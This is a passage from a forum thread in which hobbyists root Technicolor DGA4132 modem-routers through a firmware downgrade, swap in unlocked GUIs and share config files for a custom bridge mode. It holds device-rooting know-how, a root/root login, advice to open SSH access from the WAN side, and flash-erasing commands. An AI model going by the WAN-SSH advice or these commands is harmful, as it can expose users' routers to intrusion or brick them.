but the problem is that everyone on internet will have access to your files as there is no authentication system. From my point of view better create a ssh connection to your modem (enable WAN SSH access in /etc/config/dropbear) and use a windows tool to mount your drive in windows, like this one for example: https://www.nsoftware.com/netdrive/sftp/
don't ask me how, i never tried.  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 24, 2018, 09:46:27 AM
@shdf they removed the ban, i saw  ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 24, 2018, 11:03:00 AM
yes  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 24, 2018, 11:23:43 AM
Good for you! Me not... i don't know why! I think they're a bit stupid!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 24, 2018, 01:38:59 PM
So... something new for the DGA friends!  ;D

With the files in the attachment (easy to swap out, follow chmod) the ECO mode works again in the tile "Gateway". Tested on the DGA4132 with Firmware 1.1.0 and TIM GUI.

(https://i.imgur.com/MBmdjcF.png)

https://ufile.io/463xp (https://ufile.io/463xp)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 24, 2018, 01:58:33 PM
Thank you ! i'll add it in the TIM unlocked  ;)

you did just one mistake, the file power.map should be in the uci folder:
/usr/share/transformer/mappings/uci/power.map
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 24, 2018, 02:16:21 PM
/usr/share/transformer/mappings/uci/power.map

That is of course correct. I forgot it when I created the folder, so it's even more important that someone always checks against it. Thank you!

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 24, 2018, 02:18:04 PM
and also /www/lua/cpu_step.lua is missing  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 24, 2018, 02:23:32 PM
According to the pwrctl command, the value '0' is missing. i think 0 is the fastest, full speed in sync mode.
Quote
root@modemtim:~# pwrctl
Usage: pwrctl start
       pwrctl stop
       pwrctl config ...
                 [--cpuspeed <0|1|2|4|8|256>]: 1-8 -> sets speed @ 1/1, 1/2, 1/4 or 1/8th of fullspeed in ASYNC mode.
                                               0   -> 1/1 in SYNC mode
                                               256 -> 1/8 ASYNC when entering wait, 1/1 SYNC otherwise.
                 [--wait on|off]             : keeps CPU in sleep state without spinning
                 [--ethapd on|off]           : Ethernet Auto Power Down Enable
                 [--eee on|off]              : Energy Efficient Ethernet Enable
                 [--autogreeen on|off]       : AutoGreeen Enable
       pwrctl show
       pwrctl help
root@modemtim:~#

(https://i.imgur.com/jc2gcW2.png)

replace the file /www/lua/cpu_step.lua with :
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return {
{'256', 'auto'},
{'0', 'Full Speed Sync mode'},
{'1', '1'},
{'2', '1/1'},
{'3', '1/2'},
{'4', '1/4'},
{'5', '1/8'},}
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 24, 2018, 02:48:48 PM
and also /www/lua/cpu_step.lua is missing  ;D

Yes, exactly... I forgot them too, of course.   ::)

 ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 24, 2018, 03:35:42 PM
Good work! mate

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 24, 2018, 04:13:35 PM
hummm i think there is still something wrong...
0 = full speed Sync mode
1 = full speed Async mode

so here is the correct file :

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return {
{'256', 'auto'},
{'0', '1'},
{'1', '1/1'},
{'2', '1/2'},
{'4', '1/4'},
{'8', '1/8'},}
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 24, 2018, 04:35:19 PM
For a better overview:


Eco Settings
===========================================================
Ethernet EEE               Energy Efficient Ethernet

Ethernet AutoGreen    AutoGrEEEn - Energy Efficient Ethernet Standard (Broadcom)

Ethernet Ethapd          Ethernet Auto Power Down

Cpu Wait                     CPU in sleep state without spinning

Cpu Speed                   [<0|1|2|4|8|256>]   

                                   1-8 -> sets speed @ 1/1, 1/2, 1/4 or 1/8th of fullspeed in ASYNC mode.
                                    0   -> 1/1 in SYNC mode
                                   256 -> 1/8 ASYNC when entering wait, 1/1 SYNC otherwise.
============================================================

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 24, 2018, 04:51:09 PM
i updated the gui unlocked with your file and the modifications :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 24, 2018, 05:14:07 PM
Me too!!!

I'd want to have a separated scheduling for every single wifi ap... it's possible?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 24, 2018, 06:06:45 PM
to create this new feature it is necessary to know how to code in LUA, which is not my case.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 25, 2018, 10:26:55 AM
Do you make archive with mac, right?

How can i make it with Windows? Used 7-zip but before it makes a .tar archive only after i can make a .gz archive but when i launch command i have an error
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 25, 2018, 04:33:01 PM
i do the archive in the router shell.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 25, 2018, 05:28:11 PM
so you put directory or file in /tmp and after you execute a command from telnet?

i noob for this thing you know  :-[
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 25, 2018, 05:52:51 PM
look here :
https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,78484.0.html
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 25, 2018, 08:18:24 PM
Thanks i'll see it later!

Which is the path of this: uci.env.var.bank_check?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 26, 2018, 09:29:15 PM
i added 2 new radio button in AutoflashGUI, in order to automaticaly root the inactive bank (where is supposed to be the Firmware 1.1.0) when doing the downgrade to firmware 1.0.3

Please see here : https://www.ilpuntotecnicoeadsl.com/forum/index.php?topic=78145.msg230750#msg230750

So once you flashed the firmware 1.1.0, flash the firmware 1.0.3 using one of the 2 radio button at the bottom, this will Root the active firmware AND the inactive firmware, it will also do the switchover to go back to the firmware 1.1.0 rooted. So be patient as it will go back to 1.0.3 and reboot to come back to 1.1.0.

(https://i.imgur.com/8iZEpdJ.png)

don't forget to tick "split the given commands..." because the string to send is very long, it may not work without this.

Autflashgui is updated in my MEGA repository.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 26, 2018, 11:30:02 PM
(https://s10.postimg.org/bd75p0kzt/Senza_titolo-1.png)

how can i resolve this?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 27, 2018, 08:00:38 AM
you are mixing the Ansuel files with the official TIM GUI without really knowing what you're doing, that leads to that. There should be other files to copy elsewhere to make this modal working.
i don't have this problem in my GUI because i use the modal from the TIM Gui.
if you want all Ansuel's GUI feature why don't you just use his GUI ? i made a 4.6.9 in my repo fixing the problem with firmware 1.1.x
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 27, 2018, 08:51:32 AM
i added 2 new radio button in AutoflashGUI, in order to automaticaly root the inactive bank (where is supposed to be the Firmware 1.1.0) when doing the downgrade to firmware 1.0.3

Please see here : https://www.ilpuntotecnicoeadsl.com/forum/index.php?topic=78145.msg230750#msg230750

So once you flashed the firmware 1.1.0, flash the firmware 1.0.3 using one of the 2 radio button at the bottom, this will Root the active firmware AND the inactive firmware, it will also do the switchover to go back to the firmware 1.1.0 rooted. So be patient as it will go back to 1.0.3 and reboot to come back to 1.1.0.

don't forget to tick "split the given commands..." because the string to send is very long, it may not work without this.

Autflashgui is updated in my MEGA repository.

Thanks again for the great work. As usual from you!

 :)

@Ivymike ...

I agree with shdf, you should not mix TIM and Ansuel.   ::)

 ;D

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 27, 2018, 12:43:57 PM
Thank i knew it alone  :P

i'm trying infact to mix Ansuel's GUI with TIM to have more things like you...  :-\
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on February 27, 2018, 01:24:56 PM
Hi all, yelp!
I cannot find the DGA4130 for sale anywhere however I did find the DGA4132 in italy. I am trying to go through the thread but man what a read! I intend to unlock of course being UK based.
1. I know understand they are both BCM63138 but is 4132 more recent and is that the "best" of the 2?
2. Can the snr be tweaked?
3. Can I setup OpenVPN or any other VPN on the 4132? Not too cruicial.
3. Any other advise?
4. Any comparisons to the Zyxels are they appear top tier in terms of snyc speed
5. Are there other buying options (links please)

Guys, many thanks in advance for answers.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 27, 2018, 04:01:39 PM
Solved!

i modified file and no error.

(https://s10.postimg.org/zddr7gyp5/Senza_titolo-1.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 27, 2018, 04:09:31 PM
Good.
Please describe which files you have modified and provide the files with folder path specification as zip file. Then I can also test this.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Westie on February 27, 2018, 04:21:32 PM
I cannot find the DGA4130 for sale anywhere however I did find the DGA4132 in italy.
I bought my DGA4130 through Amazon Italy last November, but they no longer sell them.

Quote
I am trying to go through the thread but man what a read!
It's worth persevering, even though some of the earlier posts have been superseded!

Quote
1. I know understand they are both BCM63138 but is 4132 more recent and is that the "best" of the 2?
I think the 4132 is a later model with a SPF port, but otherwise the same.

Quote
2. Can the snr be tweaked?
3. Can I setup OpenVPN or any other VPN on the 4132? Not too cruicial.
3. Any other advise?
4. Any comparisons to the Zyxels are they appear top tier in terms of snyc speed
5. Are there other buying options (links please)
Sorry, I don't know the answer to any of these.

@shdf will probably be along soon. I believe he has both units, and is likely to be able to answer most of your queries.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 27, 2018, 05:06:54 PM
Good.
Please describe which files you have modified and provide the files with folder path specification as zip file. Then I can also test this.

 :)

Here it is

http://www.mediafire.com/file/c9p7mr285dmpc9k/system-modal.rar
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on February 27, 2018, 05:10:49 PM
I bought my DGA4130 through Amazon Italy last November, but they no longer sell them.
It's worth persevering, even though some of the earlier posts have been superseded!
I think the 4132 is a later model with a SPF port, but otherwise the same.
Sorry, I don't know the answer to any of these.

@shdf will probably be along soon. I believe he has both units, and is likely to be able to answer most of your queries.

Thanks Westie!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 27, 2018, 07:53:00 PM
Solved!

i modified file and no error.
And how could this help anyone ? Each time you solve your problem you never say how you did it, so it is useless for us...When you find something please share with the other.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 27, 2018, 08:01:09 PM
@Dad-of-5

2. Can the snr be tweaked?
no
3. Can I setup OpenVPN or any other VPN on the 4132? Not too cruicial.
yes
4. Any comparisons to the Zyxels are they appear top tier in terms of snyc speed
roseway should be able to answer he was using a zyxel before his dga4130
5. Are there other buying options (links please)
from Amazon France maybe : https://www.amazon.fr/Modem-routeur-ADSL2-jusqu%C3%A0-000-m%C3%A9gaoctets/dp/B00AT8MKYC/
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 27, 2018, 08:03:48 PM
just to let you know that i updated the autoflashgui defaults.ini file, one command was not working in my last modification, now it's OK.
Take it from my MEGA account.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 27, 2018, 08:07:43 PM
And how could this help anyone ? Each time you solve your problem you never say how you did it, so it is useless for us...When you find something please share with the other.
Why did you say this thing?
I posted file compressed in .rar archive.

if i can i always help everybody... but here i'm more noob than you and other user


i can't use a pendrive from my phone... or rather i can't configure it.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 27, 2018, 08:27:37 PM
Nobody's a noob around here.

To better understand what you are doing, a small changelog is always helpful. I'm not always the best at it, either. I'm sure shdf didn't mean it that way. Any help or idea is welcome here.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 27, 2018, 08:38:21 PM
@ivymike
if eclp had not asked, you would not have posted your file. If you find a solution then give it instead of saying "I found...". it's not about behing noob or not.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 27, 2018, 08:55:55 PM
OK I can't be considered one that does not help.

I'm not a computer programmer nor a computer scientist and up until 2 months ago I did not even know how to get into this modem ...
So I leave room for you and I will learn from you
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on February 27, 2018, 10:26:52 PM
@Dad-of-5

2. Can the snr be tweaked?
no
3. Can I setup OpenVPN or any other VPN on the 4132? Not too cruicial.
yes
4. Any comparisons to the Zyxels are they appear top tier in terms of snyc speed
roseway should be able to answer he was using a zyxel before his dga4130
5. Are there other buying options (links please)
from Amazon France maybe : https://www.amazon.fr/Modem-routeur-ADSL2-jusqu%C3%A0-000-m%C3%A9gaoctets/dp/B00AT8MKYC/

Kudos... many thanks purchased...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on February 27, 2018, 10:46:21 PM
Quote
4. Any comparisons to the Zyxels are they appear top tier in terms of snyc speed
roseway should be able to answer he was using a zyxel before his dga4130

I was using the Zyxel VMG8324-B10A which uses the BCM63168. For me there was really no significant difference in connection speed, but the DGA4130 has rather lower error levels. More importantly, the DGA4130 has a much more powerful CPU and supports multiple telnet logins. It has plenty of power to run with no limitation as a full modem/router.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on February 28, 2018, 09:30:36 AM
I was using the Zyxel VMG8324-B10A which uses the BCM63168. For me there was really no significant difference in connection speed, but the DGA4130 has rather lower error levels. More importantly, the DGA4130 has a much more powerful CPU and supports multiple telnet logins. It has plenty of power to run with no limitation as a full modem/router.

Awesome many thanks! I have the 4132 arriving this Friday to replace my TP Link 9970 that’s been a place holder for a while.
Word of warning people bear with me as I seek assistance in this thread or via PM. In as much as I’m making my way through this thread, I want to be cautious in making sure I know what I’m doing so thank you all in advance!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 28, 2018, 10:07:40 AM
This is what you need :
- Download autoflashGUI to downgrade/upgrade your firmware. This is also used to unlock your firmware if you select the firmware 1.0.3.
- Download your firmware from my MEGA repository (see my signature at the bottom). Download both versions 1.0.3 and the 1.1.0 and put both files in the autoflashgui folder.
- Download an unlocked GUI for your router, in order to be able to configure it for your ISP. http://www.dga4132.tk

1) With autoflashgui, flash the firmware 1.1.0

2) with autoflashgui, flash the firmware 1.0.3, configure it like in my screenshot below, don't forget to tick "dga4132 1.0.3 root inactive" :
(https://i.imgur.com/8WLKuzK.png)
it will flash the firmware 1.0.3 and reboot the modem, root it, root the inactive bank where is located the firmware 1.1.0, and reboot again but this time with the firmware 1.1.0 (root and ssh enabled).

3) now you can access the router with putty (login/pass = root/root) and winscp. if you're an advanced user and have some openwrt knowledge, you can go directly to the /etc/config/ folder and start configuring your modem/router. if not then you have to install an unlocked GUI to configure it from your browser.

4) with winscp copy the unlocked gui file dga4132_unlocked.tar.gz in the /tmp folder of the router

5) from putty run these comands :
Code: [Select]
tar -zxvf /tmp/dga4132_unlocked.tar.gz -C /
/etc/init.d/rootdevice force
/etc/init.d/rootdevice force
at this point your modem should reboot, so just wait...the content of Bank_1 will be copied into bank_2 or vice versa, and bank_1 will be set as the active bank_1. In case of big problem it's always good to be on bank_1 active as it will let you reflash the modem with TFTP.
If you see some errore messages just ignore them, it's not important. it's just because you don't have a WAN ip address as your ISP is not configured yet.

6) you can now start configuring your modem from the GUI.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Westie on February 28, 2018, 02:45:55 PM
Word of warning people bear with me as I seek assistance in this thread or via PM.

If you use the thread rather than PM, others can benefit too. Don't think you appear foolish or are wasting others' time/bandwidth. There is no such thing as a 'dumb' question. A lot of what I know about xDSL has come from the answers given to other people's questions, and asking on the open forum potentially gains information from a wider pool of knowledge.  :)

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 28, 2018, 10:10:02 PM
Here it is

http://www.mediafire.com/file/c9p7mr285dmpc9k/system-modal.rar

It doesn't work, there are other files missing. Exchanging the system-modal is not enough. You forgot something.  :no:

And it would be good to always provide files in English language/format.

(https://i.imgur.com/k4esLE7.png)

 :)

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 28, 2018, 10:57:29 PM
Gaming child ...   :baby:

(https://i.imgur.com/3krNNl7.png)

 :P

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 07:06:20 AM
Awesome, i tried yesterday but i gave up. is it working ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 01, 2018, 08:02:46 AM
It doesn't work, there are other files missing. Exchanging the system-modal is not enough. You forgot something.  :no:

And it would be good to always provide files in English language/format.

(https://i.imgur.com/k4esLE7.png)

 :)

Sorry, i've changed only that file but maybe I had changed other files meanwhile i personalized my TIM GUI.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 08:37:26 AM
The transformer mappings for the banks is necessary, you can take it from Ansuel gui. ivymike should have unpacked most of Ansuel gui in his modem so he doesn't know what is from the official TIM gui  and what is not.
Anyway you can take the file from /usr/share/transformer/mappings/rpc/sys.banktable.map in Ansuel gui, maybe there are other files necessay...i didn't test.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 01, 2018, 09:19:02 AM
Most works I want to claim. You can simply copy the entire www folder for testing, nothing can happen. But I could not discover major improvements or functions.

:-)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 09:44:54 AM
humm...copying the entire /www didn't work for me  :-\...you have to allow a lot of files in /etc/config/web and also the path in nginx.conf are different, also the transformer mappings and a lot of external files from /www  :-\

Edit:
ok i renamed /www to /www.tim and copied the telstra GUI as /www and i can see the GUI now, but most of the thigns are not working, anyway there are some interesting things that we can take from the cards ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 01, 2018, 09:55:51 AM
You know me, I forgot to mention again. Also the ETC folder I have copied... and others. At the weekend I come to test further. The most interesting thing for me would be to fix or at least abolish the netlink parse  mistake.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 10:07:22 AM
the entire /etc folder  :o, isn't that why you're modem go in bootloop when you try to flash back to 1.0.3 ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 01, 2018, 10:18:44 AM
No the error was before when I try to edit netlink binary file. With the Telstra firmware no bootloop so.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 10:37:39 AM
i imported this from telstra :
(https://i.imgur.com/QSxNL1D.png)

what i find interesting is the uptime and the wansensing information
i just replaced the cards /www/cards/
gateway
broadband
internet

and in the /www/cards/snippets all 003_internet_xxxxxxx


Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 01, 2018, 10:43:46 AM

ivymike should have unpacked most of Ansuel gui in his modem so he doesn't know what is from the official TIM gui  and what is not.


Yes i changed some files everytime and maybe when i tried to change System Extra i had already put the other correct files
Many files has been changed by hand

Where is telsra firmware?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Westie on March 01, 2018, 11:37:44 AM
@shdf @eclp @Ivymike

I really appreciate the work you guys are reporting with the DGA4130 modem/router, especially since English is probably not your first language.
I have one of these, running firmware AGTEF_1.0.3 and Ansuels' GUI 3.36.

I know that there have been several changes to both firmware and GUI since then, but because I know almost nothing about OpenWRT I have been reluctant to update my device.

If I follow shdf's instructions at http://forum.kitz.co.uk/index.php/topic,20343.msg366344.html#msg366344 (http://forum.kitz.co.uk/index.php/topic,20343.msg366344.html#msg366344) will I have a stable and bug-free device that will be able to run either in bridge mode or modem/router mode with active VOIP?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 11:45:59 AM
unless your ISP has an exotic configuration settings, it will work and it will be stable. About the VOIP you'll have to find your ISP settings and configure some files, so i guess this is going to be difficult for you...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 12:06:49 PM
@eclp
replace the /www/docroot/css/gw.css with the one from telstra named gw-telstra.css (rename it gw.css) and look the GUI :) looks like there is a way to have something like this (or maybe it's an old unused file?) :
(https://crowdsupport.telstra.com.au/t5/image/serverpage/image-id/9139i84E87A4A1B9EA1DD?v=1.0)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Westie on March 01, 2018, 12:24:41 PM
unless your ISP has an exotic configuration settings, it will work and it will be stable. About the VOIP you'll have to find your ISP settings and configure some files, so i guess this is going to be difficult for you...

Thanks, shdf  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 01, 2018, 02:05:08 PM
where did you find telstra gui?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 01, 2018, 03:07:12 PM
hello, I've successfully upgraded and rooted to 1.1.0_002 on DGA4132.
My active profile is bank 2 and, if I understood well, it is not the best scenario for disaster recovery via BOOTP.

How can I switchover to bank 1 and have 1.1.0? (actually I have on bank 1 1.0.3, because I did double firmware flash as described in guide). Can I upgrade firmware and retain configuration?

My actual configuration is bridge mode (I have a business grade firewall on a business VDSL - no TIM) so that the static IP is fully managed by the firewall.
I've created a single interface only for bridging on combo port, so that the firewall uses it for PPPoE and the remain ports act like a separated switch where I can manage the technicolor and attach other devices. In addition to this I can use it like an access point and also have VoIP enabled without having wan traffic mixed with lan traffic.

But I read in this thread that wansensing should be disabled for bridging, while mine is active. Why do I need to disable it?
I think that my configuration is a smarter way to use the bridge mode, but I can do it only via SSH. 

I've looked inside dga4131_unlocked GUI, but the bridgemode_helper.lua puts everything in bridge (DSL with WIFI with LAN) discarding what I wrote before.
May someone can help me to write a new bridgemode_helper.lua, so that I can (and not only me) setup this "combo bridge mode" with the GUI?

The files that  I've modified are:

/etc/config/network:
Code: [Select]
config interface 'wan'
option demand '0'
option macaddr 'xxxxxxxxxxxxx'
option ipv6 '0'
option keepalive_adaptive '0'
option ifname 'wanptm0'
option proto 'bridge'
option auto '1'

config config 'config'
option wan_mode 'bridge'

-----------------------------------------------------

config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
option ifname 'eth0 eth1 eth2 eth5'
option pppoerelay '<set by script>'
option ipaddr '192.168.1.1'

config interface 'combo'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
option ifname 'eth3 wanptm0'
option ipaddr '192.168.0.1'


/etc/config/firewall

Code: [Select]
config zone 'combo'             
        option name 'combo'     
        option input 'ACCEPT'   
        option output 'ACCEPT'
        option forward 'REJECT'
        option mtu_fix '1'     
        option wan '0'
option _key '????what is it????'           
        list network 'combo'
--------------------------------------------


/etc/config/dhcp

Code: [Select]
config dhcp 'combo'
option interface 'combo'
option dhcpv6 'server'
option ra 'server'
option ra_management '0'
option ra_mininterval '200'
option ra_maxinterval '600'
option ra_lifetime '1800'
option ra_hoplimit '64'
option force '1'
option leasetime '21600s'
list dhcp_option 'tag:cpewan-id,vi-encap:3561,6,"4132"'
list dhcp_option 'tag:cpewan-id,vi-encap:3561,5,"xxxxxxxxxx"'
list dhcp_option 'tag:cpewan-id,vi-encap:3561,4,"xxxxxx"'
list dhcp_option '6,192.168.0.1'
option dhcpv4 'server'
option start '10'
option limit '11'
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 03:26:22 PM
did you install a modded GUI ?
btw you shouldn't use a beta firmware, use the FINAL 1.1.0

in my GUI and in the Ansuel GUI, inside /etc/init.d/rootdevice there is a function named transfer_bank, this is what will do the bank change stuff.

Code: [Select]
transfer_bank() {
if [ -d /overlay/bank_1 ]; then
rm -r /overlay/bank_1
fi
mkdir /overlay/bank_1
cp -r /overlay/bank_2/* /overlay/bank_1
if [ -f /overlay/bank_1/etc/init.d/rootdevice ]; then
mtd erase /dev/mtd3
mtd write /dev/mtd4 /dev/mtd3
fi
activeversion=$( cat /proc/banktable/activeversion )
passiveversion=$( cat /proc/banktable/passiveversion )

if [ "$activeversion" = "$passiveversion" ]; then
echo bank_1 > /proc/banktable/active
reboot
fi
}
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 01, 2018, 04:03:13 PM
I'didn't install a modded GUI. I've unlocked myself changing /etc/config/web and modify some file just to have a stock look and the right wan status (bridged and not DHCP connecting).

I wish to install your GUI, but after I've checked which files will be changed, I wrote my post, because the www/lua/internetmode_helper.lua use wansensing variable to check for bridge that not works on my configuration.

I know that I did a mistake and I've confused the beta with the final. That's why I asked if I can update to 1.1.0 final retaining the settings or I need to double flash (1.1.0, then 1.0.3+root, then swithover deleting overlay bank_2 that contains my settings)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 04:19:31 PM
make a backup of your /etc/config and redo the upgrade process, it's more simple. and once done overwrite the /etc/config with your backup.

And if you want to be on bank_1 at the end, then just flash the firmware 1.1.0 twice, then the firmware 1.0.3. i hope you understand why ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 01, 2018, 04:25:47 PM
I followed your guide:

https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.msg228676.html#msg228676

So, do I need to backup config folder and to follow the guide again, making two time the point 2?

In other words: I need to delete the content of overlay/bank_1 and /overlay/bank_2, or do I go to flash 1.1.0, then 1.0.3 + root, then root (not flash) 1.0.3 inactive without delete anything?

Better to do a factory default first?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 05:01:08 PM
I followed your guide:

https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.msg228676.html#msg228676

So, do I need to backup config folder and to follow the guide again, making two time the point 2?

yes that's it, nothing else.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 01, 2018, 05:16:01 PM
where can i find telstra gui to make some test?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 01, 2018, 06:17:43 PM
yes that's it, nothing else.

Perfect!. Now I'm on 1.1.0 Final and booting on Bank 1.

What do you think about make the "combo bridge mode"?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 06:28:08 PM
What do you think about make the "combo bridge mode"?
sorry but i'm not using bridge mode i can't help with something i don't use. Probably those who are using this method could help you...
But what i understood about wansensing is that it looks like it was not planned to work in bridge mode. Only for DSL, Ethernet, Mobile wwan, this is why there are problems with it in bridge mode. but as i'm not concerned with this i never look further in that thing, maybe @eclp @bilbokitz can help you.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 01, 2018, 06:56:08 PM
Only for DSL, Ethernet, Mobile wwan, this is why there are problems with it in bridge mode.

Bridge mode set in my way works as aspected and there aren't any problems.
But I configurated it editing files in /etc/config and not using uci commands (that I don't know) like the GUI inside each lua files.
So I ask help to people that knows how to modify GUI (lp and lua) without using ssh and text editor.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 01, 2018, 07:04:48 PM
But I configurated it editing files in /etc/config and not using uci commands (that I don't know) like the GUI inside each lua files.
yes, that what i was saying, they didn't planned it to work in their GUI because the bridge mode is not supposed to exist.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 01, 2018, 07:15:16 PM
Did you try the setup wizard in the GUI ??

I have the original GUI with unlocked cards, so no setup Wizard is present.
Anyway I think that my method to split the router in two (a modem with ADSL/VDSL bridged to combo eth port and a multifuction device that uses the other eth ports as switch, Wi-Fi as access point, DLNA, SMB, VoIP with two FXS, etc) it wolud be unlikely to be present.

And the bridge mode that I can activate with yours or Ansuel GUI turn off everything, but modem and eth ports (all bridged together with the DSL).
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 01, 2018, 08:33:17 PM
It's the third time i ask for something, or I became invisible or I was being ignored
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 01, 2018, 08:47:10 PM
It's the third time i ask for something, or I became invisible or I was being ignored

I really don't know where is it, but I've just applied dga4132 unlocked GUI from www.dga4132.tk and I can see the first 3 cards like Telsra GUI

